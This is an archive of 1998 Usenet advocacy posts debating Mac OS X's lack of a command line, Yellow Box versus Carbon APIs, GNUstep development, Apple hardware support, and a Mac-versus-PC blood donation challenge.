References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <6o8u6b$odd$1@news.cmc.net> <Pine.OSF.3.92.980712123834.16065C-100000@pigeon.qut.edu.au> <6obb90$9sc2@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <6obb90$9sc2@odie.mcleod.net>
On Sun, 12 Jul 1998, Michelle L. Buck wrote:
>Galen Rutledge wrote in message ...
>>>*If* you have specialized remote installation s/w, *or* you have a
>>>remotely accessible CLI w/ such capabilities. Which is what I said.
>>
>>That was not clear to me from your post.
>>
>>However, that is also a ridiculous argument. If your time is worth
>>anything at all, you would go off and buy Assimilator (shareware) and
>>your trouubles would be over.
>>
>>Arguments that run along the lines of; "If you don't use... (some vital
>>piece of software) ...then you would have... (all sorts of trouble)"
>>are pure flame bait. Leave them out.
>>
>You seem to be missing the point. Any and all of the tool you are siting
>are MAC specific. Few IT departments are going to buy or use them. They
>just make the MACs stick out as sore thumbs.
Last I recall we are speaking about the Mac. While you think that few
IT departments buy or use them, the fact remains that there are many
that do. Ours does.
>>>If Apple provides a standard, modern UNIX CLI w/ Mac OS X, there's not
>>>much reason for anyone else to do the same.
>>
>>What a wonderful piece of logic.
>>
>>Then I suppose you would have trouble explaining the existance of;
>>
>>Speed doubler (Faster copies,trash empties, network transfers)
>>RAM doubler (RAM & VM managememt tool)
>>QuicKeys (extension of Apple Script)
>>BeHeirarchic (Alternative to Apple Menu Items)
>>Conflict Catcher (Alternative Control Panel & Extension chooser)
>>Gregs Browser (Alternative to finder functions)
>>
>NONE of these things is needed or wanted or even an issue with a modern
>operating system like the UNIX shiped 25 years ago.
Great. So what? I am talking about the MacOS.
I am pointing out that there are many utilities that improve upon the
features built into the MacOS. I am then making the logical point that
a CLI may be implemented in a less than ideal manner by Apple, and
others may want to improve upon that as well.
Get with the program.
>>Since all of the functions these supply are built into the MacOS, then
>>by your logic they should not exist, let alone be preferable to the
>>"Standard" way to do them.
>>
>If the MAC OS had not been broken in the first place they would not be
>needed or wanted
So what?
What's your point?
Is this just another pointless attack of semantics, or are you actually
trying to contribute something useful to the discussion?
The fact is, they ARE wanted, they ARE needed. I am not yet certain
that your post is though.
>>Or perhaps you think an Apple UNIX CLI would be PERFECT in it's first
>>incarnation, and nobody would dream to improve on it?
>>
>WHY not? It alread is. OK, nothing is perfect, but it is STANDARD and
>capable and works like every other system the IT department manages. Some
>people will upgrade or replace Apple provided UNIX utilities. The important
>thing is having the minimum STANDARD set available on every machine on the
>network.
Great, a standard set of functions... that is, until someone else
provides a more updated set of functions in a 3rd party product.
If they do so before Apple does, then there is no longer a blanket
assumption about the abilities of the CLI in MacOS X. There would be
two (or more) different CLI's, and you would have to know which you were
dealing with before attempting certain things.
>>>Mac OS X is not built around the current Mac OS. It's built around
>>>a Rhapsody core, which was built from OPENSTEP/NEXTSTEP, which has
>>>always included a UNIX CLI. There are dependencies. (See other
>>>articles in this thread for examples.)
>>
>>Granted.
>>
>>However the MacOS has none of these dependencies, and that is what is
>>being built. I expect the standard UI should not change drastically.
>>People are quite used to the look & feel of the Mac UI. I doubt that
>>will change simply the non-GUI part of the OS is based on
>>OPENSTEP/NEXTSTEP.
>>
>
>You have NO clue.
In what way?
Fill me in.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: An irrelevant comment on the MacWorld expo
Date: Sun, 12 Jul 1998 22:49:45 -0500
Organization: Prairie Group
Message-ID: <MPG.10133fd17bf8d971989987@news.supernews.com>
References: <6o3mda$ldf$1@hole.sdsu.edu> <joe.ragosta-1007980803500001@wil117.dol.net> <gdwarnernyet-1107980105360001@mg-20664219-154.ricochet.net> <Pine.OSF.3.92.980712013928.17365D-100000@pigeon.qut.edu.au> <MPG.101175043f849a54989978@news.supernews.com> <mNOSPAMroeder-1207981333550001@192.168.21.172> <MPG.101325ddb2b6c504989981@news.supernews.com> <6obsn7$8m9@news.gdi.net>
In article <6obsn7$8m9@news.gdi.net>, craigm@gdi.net says...
> In <MPG.101325ddb2b6c504989981@news.supernews.com> Donald Brown wrote:
> > A thread started in comp.sys.mac.advocacy about donating blood. I just
> > heard on CNN that there's a big shortage of blood.
> >
> > So, I got to thinking.
> >
> > Let's see whether Mac advocates or PC advocates can donate more blood in
> > the next month. If you donate blood, drop me a line at
> > don.brown@cesoft.com and tell me if you're a Mac user or a PC user. Put
> > "Blood Drive" in the subject. You're on your honor to have actually
> > donated, but I hope we can get enough honest donators to drown out the
> > dishonest.
> >
> > Oh, and you Linux advocates and OpenStep advocates and Amiga advocates
> > and Sun advocates and TRS-80 advocates are invited to join too. Spread
> > the word, feel free to repost this message as desired. I'll post the
> > results every Sunday, through August Nineth.
> >
> > Me, I think Mac users are such kind caring individuals, they'll blow you
> > Windows users away. But we'll see <wide grin>
> >
> > Donald
> >
>
> I use a Mac _and_ I use NeXTStep _and_ I use SparcLinux. Do I have to bleed
> three times? I will if I must, but Christ, I never thought I'd do that for
> UseNet.
>
> CAM
>
>
You can give 1/3 vote for each. (This thing is getting more and more
complex.)
Donald
From: far_no@spam.ix.netcom.com(Felipe A. Rodriguez)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where to go if Apple goofs?
Date: 13 Jul 1998 13:34:11 GMT
Organization: ICGNetcom
Message-ID: <6od2cj$4fk@sjx-ixn10.ix.netcom.com>
References: <6oca1r$og8$1@supernews.com>
In article <6oca1r$og8$1@supernews.com> jcr.remove@this.phrase.idiom.com (John C.
Randolph) writes:
> Craig Morehouse may or may not have said:
>[a bunch of taunting w/r/t porting Apps to Linux]
>
>The long and short of it is, once a full Appkit on Linux exists, you can
>expect the NeXTSTEP apps to be there in a matter of weeks. Want to know what
>the snags are?
>
>1) Writing the Appkit! NSText is not a trivial bit of code. It'a full-blown
>word processor, with multi-font and graphics embedding capability, not to
>mention extensive typgrahic and formatting controls.
>
Luckily, you don't have to write it all in one shot. An NSText that
can handle many of the more mundane tasks that make NeXTSTEP so highly
integrated is a much easier proposition. This is now high on my priority
list as I need to have a working field editor.
>2) Bringing the graphics underpinnings on Linux up to snuff! Openstep
>developers aren't going to put up with X windows, no how, no way. Display
>Ghostscript isn't able to support a full DPS emulation yet, although progress
>is still being made.
And maybe it's better to just concentrate on native X and native Windows
graphics support. My greatest beef with NeXT's implementation of Yellow
Box for Windows was all the junk that needed to be running (DPS, machd,
...etc). When I first installed it under Win95 years ago I had to
immediately troubleshoot it just to get it working. Not a good sign.
The GNUstep frontend/backend design abstracts the graphics dependent
stuff in a much more elegant fashion. Unless you're building a Postscript
viewer I really don't see much advantage to having a DPS system around.
The advantages of a unified imaging model are at least partially offset
by greater resource requirements, additional complexity and under many
circumstances a printer driver (Windows with non-PS printer).
>
>3) No Funding! FYI, three years ago, I was shopping around a business plan
>to implement OpenStep on Linux. Go try it.
>
>So, the story is: OpenStep on Linux is a volunteer effort, and if you want it
>go go any faster, you'll have to pitch in yourself. Bitching at anyone else
>isn't going to get it done. But, if you build it, the apps will come. In the
>hundreds. No kidding.
>
>-jcr
Well, I didn't get the impression the original posters were bitching
so much as voicing a real frustration. Many large firms including
a post from one only a few days ago seem willing to spend very
large sums only to put up with NeXT/Apple's BS. For a fraction of
the cost they could contribute to the FSF (tax deductible) on behalf
of GNUstep or contract with somebody like Net-Community. They gain
by having a truly portable code base.
All of that said progress is being made. I've put up a screenshot
of a very early Workspace clone for GNUstep at:
http://pweb.netcom.com/~far/far.html
It's actually a new example in XRAW called xfiles. At the moment
all it does is allow you to browse the filesystem.
--
Felipe A. Rodriguez # Francesco Sforza became Duke of Milan from
Agoura Hills, CA # being a private citizen because he was
# armed; his successors, since they avoided
far@ix.netcom.com # the inconveniences of arms, became private
(NeXTmail preferred) # citizens after having been dukes.
(MIMEmail welcome) # --Nicolo Machiavelli
From: icky@bleet.moo.isu.edu (Ikabode Krane)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.system
Subject: Re: Apple, replace g3's floppy with superdisk!!
Date: 13 Jul 1998 13:31:12 GMT
Organization: netINS, Inc.
Message-ID: <6od270$vt9$1@ins8.netins.net>
References: <jpolaski-0707980933270001@d151-216.ce.mediaone.net> <6nvdvi$r15$1@news12.ispnews.com> <jpolaski-0907980849330001@d151-216.ce.mediaone.net> <6o2igm$ss6$1@news0-alterdial.uu.net> <6o34ih$bac$1@callisto.acsu.buffalo.edu> <6o3iuf$u1e$1@nnrp1.dejanews.com> <macghod-1107981158280001@sdn-ar-001casbarp259.dialsprint.net>
Mime-Version: 1.0
Content-Type: Text/Plain; charset=US-ASCII
In article <macghod-1107981158280001@sdn-ar-001casbarp259.dialsprint.net>,
macghod@concentric.net says...
>
>In article <6o3iuf$u1e$1@nnrp1.dejanews.com>, m__kilgore@hotmail.com wrote:
>
>> Actually there may be some good news for the SuperDrive users. I was
scanning
>> through the latest PC Mall catalog today and you can buy an internal IDE
>> LS-120 drive for $60. At that price maybe the wintel crowd will embrace the
>> 120 as a possible replacement for the 1.44M floppy drives. I've always
>> thought that the Mall's (both PC and Mac Malls) were a little more expensive
>> than other places so it's probably possible to get a LS-120 for a few bucks
>> less.
>
>
>Its only $60!?!??!?! Apple's floppy drive is like $150, Apple should
>promptly replace all the g3's floppy drive and put in a superdisk
>
>--
>So many pedestrians, so little time.
Does it have an auto-eject function? If I have to push a button to get the
floppy out, I consider that a step backwards. Perhaps the wintel sheep can
live with *manually* ejecting a floppy but after 12 years on a Mac, I can't.
Icky
(Same goes with 2 button meese, if god intended me to have to make a choice
on which button to push he would have made the Mac with a two button mouse)
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 12 Jul 1998 21:12:05 -0500
Organization: Prairie Group
Message-ID: <MPG.101328f0c48a5b19989986@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net>
In article <macghod-1207981131520001@sdn-ar-
001casbarp253.dialsprint.net>, macghod@concentric.net says...
> Apple didnt just say they were ppc upgradeable, they actually put that on
> the box.
> Their is a difference between saying "barring any unforseen circumstances
> macos x will run on 604 machines and 603 machines made by apple" and in
> bold letters putting "powerpc upgradeable" on the box.
>
True. But there's that old line about how a cat that got burned on a
stove, will never sit on a hot stove again, or a cold one.
If I was in their position, I'd make as few promises as I could get away
with.
Now, these latest statements don't sound like "not making promises", they
sound like closing the door to the possibility. I hope things changes,
but I'm not as hopeful as I used to be.
Donald
From: Fergus.Doherty@nottingham.ac.uk (Fergus Doherty)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: Mon, 13 Jul 1998 15:48:50 +0100
Organization: Nottingham University
Message-ID: <Fergus.Doherty-ya02408000R1307981548500001@news.nottingham.ac.uk>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <6o5k4c$r2d$1@crib.corepower.com> <6o5n32$6q$2@news.xmission.com>
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In article <6o5n32$6q$2@news.xmission.com>, don@misckit.com wrote:
> And Apple has apparently forgotten that many people work in places where Mac
> harware is verboten, but Intel hardware running a Mac OS could be slipped
> past purchasing. Apple is in effect forcing these folks into a computing
> ghetto that they can't leave.
Exactly. My institution has a new It policy that makes it hard to purchase
Macs. And certainly if the computer is purchased by a School or
Department, rather than an individual buying it for research purpose with
grant money, it will be almost impossible. So if we had MacOSX (or
whatever) for Intel compatibles many Mac users would go for it, even if it
meant buying the OS. The problem would be the apps. It would be really
nice if you could run MS Office (I know, I know, but it is the "standard"),
possible the Windows versions.
This may be the only way to infilitrate the PC world, and eventually maybe
sell Mac hardware.
--
Fergus Doherty,
Dept Biochemistry,
Nottingham University,
Fergus.Doherty@nottingham.ac.uk
0115 970 9366 (74-41366 internal)
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 13 Jul 1998 15:05:37 GMT
Organization: P & L Systems
Message-ID: <6od7o1$6al$1@ironhorse.plsys.co.uk>
References: <kindall-0907981808510001@nic-c41-094.mw.mediaone.net> <B1CBCDD4-5A95A@206.165.43.175>
<kindall-1007981802390001@nic-c41-094.mw.mediaone.net>
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Cc: kindall@mail.manual.com
In <kindall-1007981802390001@nic-c41-094.mw.mediaone.net> Jerry Kindall
wrote:
> > Yeah, but what if you decide to GIVE it away? Wouldn't it be nicer if the
> > new owner had more options for software?
>
> You'll be able to run all the same software, since there will be Carbon
> libraries for Mac OS; you just won't have pre-emptive multitasking and
> full memory protection.
>
Umm, I think you're mixing up the functionalities of Carbon and the BlueBox
-- you may well be able to run all the same software, but this will be
courtesy of the BlueBox: if, courtesy of your friendly developer, you get a
Carbon version of your app, it will run with PMT and full MP.
Best wishes,
mmalc.
From: Frederic Foucault <ff48@columbia.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity? (Now, the twilight zone)
Date: 13 Jul 1998 15:18:53 GMT
Organization: Columbia University
Message-ID: <6od8gt$t0j$1@apakabar.cc.columbia.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <vtNp1.383$7k7.493478@news.rdc1.sdca.home.com>
Mime-Version: 1.0
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Cc: rr6013@yahoo.com
In <vtNp1.383$7k7.493478@news.rdc1.sdca.home.com> rr6013@yahoo.com wrote:
> In <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> Steve
> Sullivan wrote:
> > In the short term, apple is definitely doing good. But, they now have
the
> > best os (openstep) and best dev tools (interface builder, project
builder,
> > webobjects etc). But, the bellow is disturbing:
> >
> > http://www.macintouch.com/ny1998day2.html
> >
> >
> >
> > Yellow Box's role
> > .........etc....
> NeXTSTEP/OPENSTEP/Rhapsody and the YB API's are historical "Roadkill" on
the
> Silicon Hwy. Their only respective roles will be for marking the Timeline
> where they become obsolete...
>
> Whatever opportunity NeXTSTEP/OPENSTEP/Rhapsody OS had is complete. The
> highest and best use is Apple's new MacOS X, a 10 year old state-of-the-art
> operating system for Macintosh.
>
> The fate of Apple is in the future of Macintosh, if that isn't an
oxymoron...
>
> -r
> -r
>
>
150.000 lines of code for Simple text. HAHAHAHAHAHAHAHA!!!!!!!
Mac users and developers are so conservatives. They sucks!! Since two years,
they just don't want to learn and listen. They are reluctant to the future.
MAC.... OPEN YOUR MIND. You have been fooled during so many years by APPLE.
Learn how to take benefit of Netinfo, InterfaceBuilder, Project Builder,
Objective-C, ..... Go on boys, you can do it.
A recent NeXT/OpenStep user, a tired MAC user.
--
Frederic Foucault, Ph.D. Department of Genetics and Development
Phone: (212) 305-1734 College of Physicians & Surgeons hhsc1606
FAX: (212) 923-2090 Columbia University 701 West 168th Street
Email : ff48@columbia.edu New York, NY 10032
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 13 Jul 1998 14:57:10 GMT
Organization: wazza?
Message-ID: <6od786$g3$1@server.signat.org>
References: <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: english@primenet.com
In <B1CC45E8-D794A@206.165.43.3> "Lawson English" wrote:
> >just a marketing dweeb? If he's just repeating the mantra to keep Lawson
> >from freaking out...
> Excuse? GX won't run in Carbon. Given a choice between Carbon and YB, I
Well that didn't work.
> >telling Mac developers to keep crippling their apps with a 1984-vintage
> >Pascal API.
Yup. Sad, no? At some point Apple needs to be ahead of MS for
_developers_. YB is the way to do that. MacOS, no matter how updated, never
will be.
> What is frightening is the thought that YB might really not work as well as
> has been hoped.
It works that well now. What do you mean?
> WHere's the native Mac framework if YB isn't going to be
> it?
Well, PP I suppose.
Maury
From: aa158@valleynet.on.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 15:26:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6od8vj$e54$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net>
In article <6oae9f$7sf@netnews.hinet.net>,
ch480124@ms5.hinet.net wrote:
> Jobs is using Mac OS X as the incentive for users to buy new G3,
> including iMac.
Smart business tactics against those customers that dared to buy non-Apple
hardware, or those who might think of upgrading their old, clunky, archaic
PCI PowerMacs...
Possibility: Jobs announces another new operating system strategy next year.
The new, upcoming "OS X Pro Turbo" will only run on G4 Macs...
Richard
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy,comp.ms.windows.advocacy
Subject: Re: An irrelevant comment on the MacWorld expo
Date: 13 Jul 1998 15:21:20 GMT
Organization: University of Washington, Seattle
Message-ID: <6od8lg$1tnq$1@nntp6.u.washington.edu>
References: <6o3mda$ldf$1@hole.sdsu.edu> <mNOSPAMroeder-1207981333550001@192.168.21.172> <MPG.101325ddb2b6c504989981@news.supernews.com> <6obsn7$8m9@news.gdi.net>
NNTP-Posting-User: gwangung
In article <6obsn7$8m9@news.gdi.net>, Craig Morehouse <craigm@gdi.net> wrote:
>In <MPG.101325ddb2b6c504989981@news.supernews.com> Donald Brown wrote:
>> A thread started in comp.sys.mac.advocacy about donating blood. I just
>> heard on CNN that there's a big shortage of blood.
>>
>> So, I got to thinking.
>>
>> Let's see whether Mac advocates or PC advocates can donate more blood in
>> the next month.
Hmmmm...this is about the only Mac vs. PC thread that actually
makes sense....
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 13 Jul 1998 16:00:47 GMT
Organization: Indiana University, Bloomington
Message-ID: <6odavf$m73$1@flotsam.uits.indiana.edu>
References: <6n6a2e$21s$1@news.cmc.net> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <bgrubb-1107981623570001@lc180.zianet.com>
In article <bgrubb-1107981623570001@lc180.zianet.com>,
Bruce L. Grubb <bgrubb@zianet.com> wrote:
>In article <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au>,
>Galen Rutledge <rutledge@pigeon.qut.edu.au> wrote:
>
>>I am sorry, but I do not understand how you feel that the CLI is
>>important to the MacOS, since MacOS has never been released with
>>one (Rhapsody is not in full release yet). Equally I can not see how
>>"many other things currently depend on" the CLI in the MacOS, since
>>there has never been one.
>
>I agree. Furthermore CLIs for the MacOSs have not done that well. MacDOS
>was very shortlived. HyperCard 1.0-2.1 could be used as a CLI but next to
>noone used it that way. As for the other thinkgs a CLI can do there is
>AppleScript. So other then the obvious matter of resources what is so
>important about a CLI that cannot be done in a GUI?
AppleScript can take a paragraph to do what can be done in a single line
of typing on a Unix system. It's considerably more verbose. In its
attempt to mimic natural language, it becomes harder to work with.
In the Unix world, there are lots of little programs with limited
functionality, but they do their jobs well. It's often useful to string
many of them together, piping a set of data from one program to another
and to another, possibly switching from one scripting language to another.
It's hard to do that in AppleScript, and not all Mac programs are
scriptable in that manner. And in order to do it with a GUI, you'd need
something like a script builder that pops up a disk navigation dialog for
you, with checkmarks for pipe or to file or from file or whatever.
Clumsy.
--
"Don't just do something, stand there!" - Buddha
From: bgrubb@zianet.com (Bruce L. Grubb)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Sat, 11 Jul 1998 16:23:56 -0600
Organization: Southwest Cyberport
Distribution: world
Message-ID: <bgrubb-1107981623570001@lc180.zianet.com>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au>
In article <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au>,
Galen Rutledge <rutledge@pigeon.qut.edu.au> wrote:
>I am sorry, but I do not understand how you feel that the CLI is
>important to the MacOS, since MacOS has never been released with
>one (Rhapsody is not in full release yet). Equally I can not see how
>"many other things currently depend on" the CLI in the MacOS, since
>there has never been one.
I agree. Furthermore CLIs for the MacOSs have not done that well. MacDOS
was very shortlived. HyperCard 1.0-2.1 could be used as a CLI but next to
noone used it that way. As for the other thinkgs a CLI can do there is
AppleScript. So other then the obvious matter of resources what is so
important about a CLI that cannot be done in a GUI?
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 13 Jul 1998 09:27:00 -0700
Organization: Primenet (602)416-7000
Distribution: world
Message-ID: <6odcgk$6ah@nntp02.primenet.com>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net>
<Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <bgrubb-1107981623570001@lc180.zianet.com>
Bruce L. Grubb <bgrubb@zianet.com> wrote:
: I agree. Furthermore CLIs for the MacOSs have not done that well. MacDOS
: was very shortlived. HyperCard 1.0-2.1 could be used as a CLI but next to
: noone used it that way. As for the other thinkgs a CLI can do there is
: AppleScript. So other then the obvious matter of resources what is so
: important about a CLI that cannot be done in a GUI?
CLI's are handy for programmers. Just this week I needed to change all
references to our product name (a marketing requeest). On a GUI-only
system, there might be a few ways to do it, but I don't think you can beat
"find" followed by "sed" for simplicity. I'm not sure if you could beat
my total elapsed time of 15 minutes.
If we are looking back at Mac CLIs, there were some compatiblity factors
that limited their use.
- No system-wide concept of Stdin and Stdout
- No system-wide standard for CLI programs
Most CLIs used a home-grown system of code resources and callbacks to
implement CLI utilities. I don't believe you could use an MPW "ls"
command in MacDOS, for instance.
Probably the most-used "CLIs" were the command line front-ends provided
with C compilers. Those allowed you to do a quick port of a UNIX program,
but didn't allow piping between programs or environment variables.
John
Date: Mon, 13 Jul 1998 12:31:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1307981231290001@wil55.dol.net>
References: <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org>
In article <6od786$g3$1@server.signat.org>, maury@remove_this.istar.ca
(Maury Markowitz) wrote:
> In <B1CC45E8-D794A@206.165.43.3> "Lawson English" wrote:
> > >just a marketing dweeb? If he's just repeating the mantra to keep Lawson
> > >from freaking out...
>
> > Excuse? GX won't run in Carbon. Given a choice between Carbon and YB, I
>
> Well that didn't work.
>
> > >telling Mac developers to keep crippling their apps with a 1984-vintage
> > >Pascal API.
>
> Yup. Sad, no? At some point Apple needs to be ahead of MS for
> _developers_. YB is the way to do that. MacOS, no matter how updated, never
> will be.
>
> > What is frightening is the thought that YB might really not work as well as
> > has been hoped.
>
> It works that well now. What do you mean?
>
> > WHere's the native Mac framework if YB isn't going to be
> > it?
>
> Well, PP I suppose.
I've been following this thread with interest (particularly since I'm
going to start relearning programming as soon as I get some time).
I can understand the concerns about YB development. I'm not convinced that
the matter is settled in anyone's mind at Apple, but they certainly
haven't made the "YB is the future" kind of comments as forcefully as I'd
need to be comfortable. I also agree that YB's demise (if it occurred)
would be very bad.
The question is, has anyone started a petition (like the Rhapsody/Intel
petition) on this topic? I'm convinced that Apple's future success will be
even rosier with "insanely great" programming tools and would add my name
to that.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: aa158@valleynet.on.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 16:26:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6odcgj$j5a$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <macghod-1007982237130001@sdn-ar-001casbarp289.dialsprint.net> <1dc02ox.4h48bdtmgzfN@ip172.albnxr2.ras.tele.dk> <gmgraves-1107980834220001@sf-usr1-11-139.dialup.slip.net> <cdoutyEw0574.88u@netcom.com>
In article <cdoutyEw0574.88u@netcom.com>,
cdouty@netcom.com (Chris Douty) wrote:
> Anyway, that's a distraction. The real problem is that until very
> recently, each Mac model had a totally different motherboard. Oh sure,
> there were similarities, but surely you remember all the little
> "Enablers" released with each new hw model, and that OS7.6 didn't support
> some of the computers that 7.5.5 did, but that 7.6.1 fixed that... John
> Rubenstein talked about some of these problems indirectly at WWDC98 when
> he was outlining his goal of one motherboard design for all models.
>
> Be has already confirmed (to a degree) that the PowerMac G3 models are
> significantly different than earlier PCI-based Macs. All Apple has to do
> is not release a driver for that motherboard and you *CAN'T* install on
> it. Theoretically a third-party could support some additional models iff
> the kernel can boot far enough to read drivers from the hard disk. *I*
> wouldn't want to bet on that.
Interestingly, the G3 motherboard is almost CHRP compliant (using the
same Motorola MPC106 PCI bridge/memory controller, etc.)
What had been intended to make Mac hardware more open (CHRP), has now
been perverted into making it more closed. Very nice!
Richard
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Mon, 13 Jul 1998 12:34:27 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Distribution: world
Subject: Re: Apple: No CLI in Mac OS X
Message-ID: <joe.ragosta-1307981234270001@wil55.dol.net>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <bgrubb-1107981623570001@lc180.zianet.com> <6odcgk$6ah@nntp02.primenet.com>
In article <6odcgk$6ah@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Bruce L. Grubb <bgrubb@zianet.com> wrote:
> : I agree. Furthermore CLIs for the MacOSs have not done that well. MacDOS
> : was very shortlived. HyperCard 1.0-2.1 could be used as a CLI but next to
> : noone used it that way. As for the other thinkgs a CLI can do there is
> : AppleScript. So other then the obvious matter of resources what is so
> : important about a CLI that cannot be done in a GUI?
>
> CLI's are handy for programmers. Just this week I needed to change all
> references to our product name (a marketing requeest). On a GUI-only
> system, there might be a few ways to do it, but I don't think you can beat
> "find" followed by "sed" for simplicity. I'm not sure if you could beat
> my total elapsed time of 15 minutes.
That's easy to deal with. Just get rid of the marketing people. ;-)
I agree that CLIs can be useful. In the context of this thread, can anyone
comment on one aspect of the CLI in Mac OS X. I'm assuming that it will be
there, but let's say it's not. Someone said that it would be trivial for
someone to create a Terminal which could be used as a CLI. Is that true or
not?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 12:05:40 -0500
Organization: University of Illinois at Urbana-Champaign
